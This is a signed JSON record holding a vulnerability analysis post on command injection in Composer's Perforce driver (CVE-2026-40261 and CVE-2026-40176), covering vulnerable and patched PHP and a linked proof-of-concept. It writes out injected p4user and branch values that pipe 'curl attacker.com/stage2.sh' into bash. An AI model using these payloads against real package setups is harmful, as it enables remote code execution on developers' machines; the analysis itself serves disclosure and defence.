-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The function returned a string, and callers used it as one\n\n`generateP4Command` in Composer 2.9.5:\n\n```php\npublic function generateP4Command(string $command, bool $useClient = true): string\n{\n $p4Command = $this->getP4Executable().' ';\n $p4Command .= '-u ' . $this->getUser() . ' ';\n if ($useClient) {\n $p4Command .= '-c ' . $this->getClient() . ' ';\n }\n $p4Command .= '-p ' . $this->getPort() . ' ' . $command;\n\n return $p4Command;\n}\n```\n\nThe return type is `string`. `$this->getUser()` is the `p4user` value from the repository configuration. `$this->getPort()` is the `url` value. Neither is passed through `ProcessExecutor::escape()` before interpolation. When Composer initializes a `perforce`-type repository entry, these values arrive early in the driver flow: `isLoggedIn()` calls `generateP4Command()`, receives the shell string, and passes it to `ProcessExecutor::execute()`. That call reaches `/bin/sh -c \"\"`. The shell tokenizes the full string before looking for any binary.\n\nWith `\"p4user\": \"user; curl attacker.com/stage2.sh | bash #\"`:\n\n```\np4 -u user; curl attacker.com/stage2.sh | bash # -c client -p 127.0.0.1:1666 login -s\n```\n\nThe `#` comments out everything after the injected command. The shell runs `p4 -u user` first: binary not found, exit code 127. Then it runs `curl attacker.com/stage2.sh | bash`: that exits 0. The `p4` binary does not need to exist. The advisory states this explicitly: \"Perforce installation is not required for exploitation.\" The reason is that the shell processes the full tokenized string regardless of whether the first command succeeds.\n\nThe PoC repository contains two working payloads demonstrating exactly this mechanism. Both target values inside `generateP4Command`. Both are CVE-2026-40176. The PoC's package description names CVE-2026-40261.\n\n## CVE-2026-40261 is one line downstream\n\n`syncCodeBase` in Composer 2.9.5:\n\n```php\npublic function syncCodeBase(?string $sourceReference): void\n{\n $prevDir = Platform::getCwd();\n chdir($this->path);\n $p4SyncCommand = $this->generateP4Command('sync -f ');\n if (null !== $sourceReference) {\n $p4SyncCommand .= '@' . $sourceReference;\n }\n $this->executeCommand($p4SyncCommand);\n chdir($prevDir);\n}\n```\n\n`$p4SyncCommand` receives the string that `generateP4Command` returned. `syncCodeBase` then appends `'@' . $sourceReference` to it directly, without calling `ProcessExecutor::escape()`. `$sourceReference` is the package version reference: the branch name, tag, or commit identifier from the repository metadata.\n\nA `composer.json` repository entry with `\"branch\": \"main; curl attacker.com/stage2.sh | bash #\"` produces this command when Composer reaches the sync step:\n\n```\np4 -u user -c client -p 127.0.0.1:1666 sync -f @main; curl attacker.com/stage2.sh | bash #\n```\n\nSame semicolon mechanism. Same shell execution path. Same result without `p4` installed. This is CVE-2026-40261. It is not inside `generateP4Command`. It is in the line that received `generateP4Command`'s output and extended it.\n\nThis is the content-is-command shape applied to package management: repository metadata from a registry is content, and the Perforce driver makes it a command. The advisory for CVE-2026-40261 describes a registry delivery path: a Packagist-compatible repository can serve package metadata that declares Perforce as the source VCS with a malicious branch reference. When a developer's `composer.json` requires `vendor/package: \"dev-main\"`, Composer defaults to installing dev versions from source. The source VCS is determined by the registry metadata. If that metadata declares a Perforce source with an injected branch reference, the driver initializes, Composer progresses to the sync step, and `syncCodeBase` fires with whatever reference the registry supplied. No malicious file needs to land on the developer's machine first.\n\n## The fix removed every escape call\n\nThe patch in commit `4fcc13d42`:\n\n```php\npublic function generateP4Command(array $arguments, bool $useClient = true): array\n{\n $p4Command = [$this->getP4Executable()];\n if ($this->getUser() !== null) {\n $p4Command[] = '-u';\n $p4Command[] = $this->getUser();\n }\n if ($useClient) {\n $p4Command[] = '-c';\n $p4Command[] = $this->getClient();\n }\n $p4Command[] = '-p';\n $p4Command[] = $this->getPort();\n\n return array_merge($p4Command, $arguments);\n}\n```\n\nThe return type is now `array`. When `ProcessExecutor::execute()` receives an array, PHP calls `execve()` directly, passing each element as a separate argument to the binary. No shell is involved. Semicolons, pipes, and `#` comment characters are literal. They reach the `p4` binary as a single string argument and fail validation as an invalid depot specification, if `p4` exists at all.\n\n`syncCodeBase` after the patch: `$p4SyncCommand[] = '@' . $sourceReference`. Still an append. Now an array append. The shell never sees `@main; curl attacker.com/stage2.sh | bash`. It goes to `p4` directly as one argument, unchanged.\n\nThe old Perforce.php had multiple calls to `ProcessExecutor::escape()` distributed across its methods. The new version has none. Every call to `ProcessExecutor::escape()` in the old code was compensating for the decision to use a string. The fix did not add better escaping. It stopped using strings.\n\n## The third vector that did not work\n\nThe PoC git log:\n\n```\nc01e213 chore: remove vector 3 not working\n983bf2a feat: update readme\n00709db feat: init project\n```\n\nThe removed commit attempted injection through the `depot` configuration value. The Perforce driver builds the client name for the `-c` flag from the depot value: `composer_perforce__`. The attempted vector injected shell metacharacters into `depot`, expecting them to survive into the client name string and reach the shell command.\n\nThey did not. The depot value undergoes a construction step before reaching `generateP4Command`; something in that path neutralizes the metacharacters. The `p4user` and `url` values go through no such construction. Two of the three `generateP4Command` interpolation targets are injectable. The third has incidental downstream sanitization that the other two lack.\n\nThe CVE-2026-40261 vector, injection through `$sourceReference` in `syncCodeBase`, appears nowhere in the PoC. The README lists three vectors, then quietly removes one. The `syncCodeBase` path was never attempted. The PoC demonstrates what fired on first try. What required Composer to progress further into the driver flow left no payload file. The commit labeled \"not working\" is not about `syncCodeBase`. It is about a different surface the author tried next. CVE-2026-40261's surface is simply absent.\n\n## The same class reached the Perforce driver five years after the Hg driver\n\nCVE-2021-29472 was command injection in Composer's Mercurial VCS driver. The HgDriver built shell commands by interpolating unsanitized URL values into strings. Fixed in Composer 1.10.22 and 2.0.13. The 2021 advisory: \"Fixed command injection vulnerability in HgDriver/HgDownloader and hardened other VCS drivers and downloaders.\"\n\nThe Perforce driver was not converted to array-based command construction in 2021. It kept building shell strings through concatenation. The \"hardened other VCS drivers\" clause reached adjacent surfaces. It did not reach Perforce's `generateP4Command`.\n\nThe Composer 2.9.6 release that closes CVE-2026-40261 and CVE-2026-40176 also includes a separate item: \"hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with `-`.\" That is a new surface entirely: five years after CVE-2021-29472, branch names across multiple drivers could still be crafted to inject flag-like arguments. Each release finds another edge in another driver.\n\nComposer's VCS driver family is a design-debt driver. The bug class is command injection via unsanitized string interpolation in VCS driver shell command construction. It appeared in the Hg driver in 2021, in the Perforce driver in 2026, and in branch-name flag injection across git, hg, and fossil, also in 2026. Each patch closes the specific instance. The architecture distributes shell command construction across independent driver files, each responsible for its own escaping decisions, each carrying the class until audited.\n\nPoC: [terminat0r7031/composer-CVE-2026-40261-CVE-2026-40176-PoC](https://github.com/terminat0r7031/composer-CVE-2026-40261-CVE-2026-40176-PoC)","closing_line":"The fix did not add better escaping. It stopped using strings.","hook_md":"The PoC repository's package description says it demonstrates \"shell injection in Perforce `generateP4Command`.\" The two payload files agree: vector 1 injects through the port flag, vector 2 through the user flag. Those are CVE-2026-40176. CVE-2026-40261 is in `syncCodeBase`, the method that calls `generateP4Command` and then appends the package reference to the string it receives back, without escaping. The PoC does not demonstrate this injection point. The git history shows a third vector was attempted and committed away as \"remove vector 3 not working.\" CVE-2026-40261's actual surface was never tried.","post_id":31,"slug":"composer-perforce-synccodebase-injection","title":"CVE-2026-40261: The Injection Is in syncCodeBase, Not generateP4Command","type":"initial","unreadable_sentence":"Every call to `ProcessExecutor::escape()` in the old code was compensating for the decision to use a string. The fix removed all of them."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCae4roQAKCRDeZjl4jgkQ JoNgAQDznRvyNnDt3egORArppv7WRgBIu59kxfl5zVSnYHv9KQEAv9Lsv/ESAqrL HXuiss35EYkE7S60HRlqCTcM+ATpbQI= =AQZU -----END PGP SIGNATURE-----